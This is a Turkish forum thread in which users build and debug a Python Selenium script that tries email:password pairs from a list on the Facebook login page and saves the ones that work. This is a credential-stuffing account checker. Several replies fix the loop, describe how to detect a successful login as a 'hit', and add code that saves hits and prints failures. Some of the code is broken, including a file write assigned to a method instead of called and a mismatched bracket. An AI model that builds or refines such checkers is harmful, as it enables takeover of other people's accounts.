from selenium import webdriver
import time
from selenium.webdriver.common.by import By
driver = webdriver.Chrome()
with open("facebook.com.txt") as f:
email, password = f.readline().strip().split(":")
driver.maximize_window()
driver.get("http://facebook.com/")
# giriş yapılabilen hesapları tutan bir dosya
calisan_hesaplar = open("calisanhesaplar.txt", "w")
username = driver.find_element(By.XPATH, "//*[@id='email']")
username.send_keys(email)
passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
passwd.send_keys(password)
loginbutton = driver.find_element(By.XPATH, "//*[@id='u_0_5_3k']")
loginbutton.click() Selenium butona tıklayamama hatası
12
●224
- 11-12-2022, 17:03:30Selamlar Python selenium ile Facebook'da siteye giriş için bir kod yazmaya çalışıyorum fakat en sondaki loginbutton kısmında giriş yap butonuna tıklaması gerekirken, tıklamadan uygulamayı durduruyor. butonun id'si de doğru niye böyle oldu anlayamadım.
- 11-12-2022, 17:09:43XPATH yerine name, id, class_name'de kullanabilirsin. XPATH kullanırken Full XPATH kopyalamanı tavsiye ederim.
- 11-12-2022, 17:19:26Cevaplarınız için teşekkür ederim name class vs. denemiştim ama olmuyordu şuan hata vermeden kapandığına göre oldu sanırımYenilenPehlivan adlı üyeden alıntı: mesajı görüntüle
- 11-12-2022, 17:21:06Bazen o anlama gelmiyor olabilir bana kalırsa login yaptırdıktan sonra işlem sonuna bir adet input() eklemenizi tavsiye ederim hata almışsa bile net şekilde görmenizi sağlar.trendkripto adlı üyeden alıntı: mesajı görüntüle
İyi çalışmalar
- 11-12-2022, 19:09:28@YenilenPehlivan; Hocam rahatsız ediyorum kusura bakmayın ama. Ben şimdi kodu yazdım teker teker hesapları deniyor sonra bi hesaba başarılı bi şekilde giriş yapıyor. Giriş yapabildiğini anlamayıp deneme yapmaya devam ediyor. Girilen hesabın bilgilerini txt dosyasına nasıl yazdıracağım?
from selenium import webdriver import time from selenium.webdriver.common.by import By driver = webdriver.Chrome() # Open the file containing the login information with open("facebook.com.txt") as f: # Read each line in the file for line in f: # Split the line into email and password email, password = line.strip().split(":") # Attempt to log in try: driver.maximize_window() driver.get("http://facebook.com/") calisan_hesaplar = open("calisanhesaplar.txt", "w") username = driver.find_element(By.XPATH, "//*[@id='email']") username.send_keys(email) passwd = driver.find_element(By.XPATH, "//*[@id='pass']") passwd.send_keys(password) loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button") loginbutton.click() # If login is successful, write the email and password to the "calisanhesaplar.txt" file calisan_hesaplar.write = f"{email}:{password}\n" except: # If login is unsuccessful, do nothing and move on to the next login attempt pass # Close the "calisanhesaplar.txt" file calisan_hesaplar.close() - 11-12-2022, 20:54:16Kimlik doğrulama veya yönetimden onay bekliyor.Boşluklara girintilere dikkat edin. bir yerde try eksikti ekledim girintileri düzenledim
from selenium import webdriver import time from selenium.webdriver.common.by import By driver = webdriver.Chrome() with open("facebook.com.txt") as f: for line in f: email, password = line.strip().split(":") try: driver.maximize_window() driver.get("http://facebook.com/") calisan_hesaplar = open("calisanhesaplar.txt", "w") username = driver.find_element(By.XPATH, "//*[@id='email']") username.send_keys(email) passwd = driver.find_element(By.XPATH, "//*[@id='pass']") passwd.send_keys(password) loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button") loginbutton.click() calisan_hesaplar.write = f"{email}:{password}\n" except: pass calisan_hesaplar.close() - 11-12-2022, 22:02:09Hala aynı hocam düzelmemiş çözemedim nasıl olacağınıTheOne adlı üyeden alıntı: mesajı görüntüle
- 11-12-2022, 22:12:38Hocam geç gördüm kusura bakmayın kontrol etme check etme mantığı şu şekilde çalışacak if else kullanmanız gerekecek örnek veriyorum giriş yaptı belirdiğiniz herhangi bir yazı olur, örnek olarak anasayfa yazısı olsun belirlediğiniz yerde yerde anasayfa yazısını arayacak anasayfa yazısı bulunursa bunu hit kabul edip terminale yazdırabilirisiniz.trendkripto adlı üyeden alıntı: mesajı görüntüle
dosya kaydetme işlemi için aşağıda verdiğim kodu kullanabilirsiniz.
file = open('hit.txt','a') file.write(email + ':' + password+'\n')seklinde kaydettirebilirsiniz onun dısında anasayfa yazısı bulunmaz ise else kısmına geçip fail diye örnek vereyim print('FAİL: ' +email+':'+password] şeklinde yazdırabilirsiniz.